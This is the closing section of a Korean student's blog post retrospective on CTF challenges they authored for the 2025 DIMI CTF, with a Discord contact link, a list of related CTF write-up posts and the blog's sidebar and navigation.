์ œ๊ฐ€ ๋ฐฐ์šด ์ ๋“ค๋„ ๋งŽ๊ณ , ๋А๋‚€์ ๋“ค๋„ ๋งŽ์•„ ์ „๋ถ€ ๊ณต์œ ํ•ด๋“œ๋ฆฌ๊ณ  ์‹ถ์ง€๋งŒ, ๊ทธ๋Ÿฌ๋‹ค๊ฐ€๋Š” ๊ธ€์ด ๋„ˆ๋ฌด ๊ธธ์–ด์ง€๊ณ , ๋ฃจ์ฆˆํ•ด์งˆ๊ฒƒ ๊ฐ™์•„์„œ ์ด๋งŒํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค

์ถ”๊ฐ€์ ์œผ๋กœ ๊ถ๊ธˆํ•œ ์‚ฌํ•ญ์ด ์žˆ๋‹ค๋ฉด (์ •๋ง ์•„๋ฌด๊ฑฐ๋‚˜) 

https://discord.com/users/1214140734890835989

์—ฌ๊ธฐ์—์„œ ์ €์—๊ฒŒ DM์ฃผ์‹œ๋ฉด ์„ฑ์‹ฌ์„ฑ์˜๊ฒƒ ๋‹ต๋ณ€ํ•ด๋“œ๋ฆฌ๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค (์งˆ๋ฌธ์‹œ ๋ˆ„๊ตฌ์ธ์ง€๋งŒ ๋ฐํ˜€์ฃผ์„ธ์š”,,,)

ํ˜น์€ ๋Œ“๊ธ€ ๋‚จ๊ฒจ ์ฃผ์„ธ์š”

 

์ง€๊ธˆ๊นŒ์ง€ [2025 DIMI CTF - Prob by pandas. with ํ›„๊ธฐ], ๊ธด ๊ธ€ ์ฝ์–ด์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค

pandas, ๊น€์ค€์›์ด์˜€์Šต๋‹ˆ๋‹ค

.

.

.

.

.

.

.

.

.

.

.

.

.

.

 

return 0;

'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[ 2025 COSS ์•„์ฃผ๋Œ€ CTF - ๋ณธ์„ ] - Write Up & ํ›„๊ธฐ  (5) 2025.07.25
[2025 COSS ์•„์ฃผ๋Œ€ CTF - ์˜ˆ์„  ] - Write Up & ํ›„๊ธฐ  (0) 2025.06.23
[2025 Codegate ์˜ˆ์„ ] - Write Up & ํ›„๊ธฐ  (0) 2025.05.26
[CTF] ์ œ 5ํšŒ ์ค‘๋ถ€๋Œ€ํ•™๊ต JBU CTF  (1) 2025.02.27
[CTF] 2024 ELECCON ์ผ๋ ‰์ฝ˜ ์˜ˆ์„   (0) 2025.02.27
'CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • [2025 COSS ์•„์ฃผ๋Œ€ CTF - ์˜ˆ์„  ] - Write Up & ํ›„๊ธฐ
  • [2025 Codegate ์˜ˆ์„ ] - Write Up & ํ›„๊ธฐ
  • [CTF] ์ œ 5ํšŒ ์ค‘๋ถ€๋Œ€ํ•™๊ต JBU CTF
  • [CTF] 2024 ELECCON ์ผ๋ ‰์ฝ˜ ์˜ˆ์„ 
Hello๐Ÿ–๏ธI'm pandas from KDMHS
Hello๐Ÿ–๏ธI'm pandas from KDMHS
ํ•œ๊ตญ๋””์ง€ํ„ธ๋ฏธ๋””์–ด๊ณ ๋“ฑํ•™๊ต 23๊ธฐ ์›น ํ”„๋กœ๊ทธ๋ž˜๋ฐ๊ณผ์—์„œ ํ•ดํ‚น์„ ๊ณต๋ถ€ํ•˜๊ณ  ์žˆ๋Š” pandas์ž…๋‹ˆ๋‹ค.
  • Hello๐Ÿ–๏ธI'm pandas from KDMHS
    pandasiuuuu
    Hello๐Ÿ–๏ธI'm pandas from KDMHS
  • ๊ณต์ง€์‚ฌํ•ญ

    • Hello I'm pandas ๐Ÿ–๏ธ
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (40)
      • CTF (13)
      • ๋””๋ฏธ๊ณ  (17)
      • ๋ฐฑ์ค€ (1)
      • Dreamhack (5)
      • INFO (3)
      • 1 ไบบ 1 Project (1)
  • ์ „์ฒด
    ์˜ค๋Š˜
    ์–ด์ œ
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
    • ํƒœ๊ทธ
    • ๋ฐฉ๋ช…๋ก
  • ๋งํฌ

  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    ํšŒ๊ณ ๋ก
    pwnable
    DreamHack
    ํŒฐ๋ฆฐ๋“œ๋กฌ
    ์›นํ”„๋กœ๊ทธ๋ž˜๋ฐ๊ณผ
    ctf
    Python
    docker
    reversing
    Baekjoon
    ๋ฐฑ์ค€
    info
    1์ธ1ํ”„๋กœ์ ํŠธ
    ๋””๋ฏธ๊ณ 
    ํ•ดํ‚น
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

  • hELLOยท Designed By์ •์ƒ์šฐ.v4.10.3
Hello๐Ÿ–๏ธI'm pandas from KDMHS
[2025 DIMI CTF Write Up] - Prob by pandas. with ํ›„๊ธฐ
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”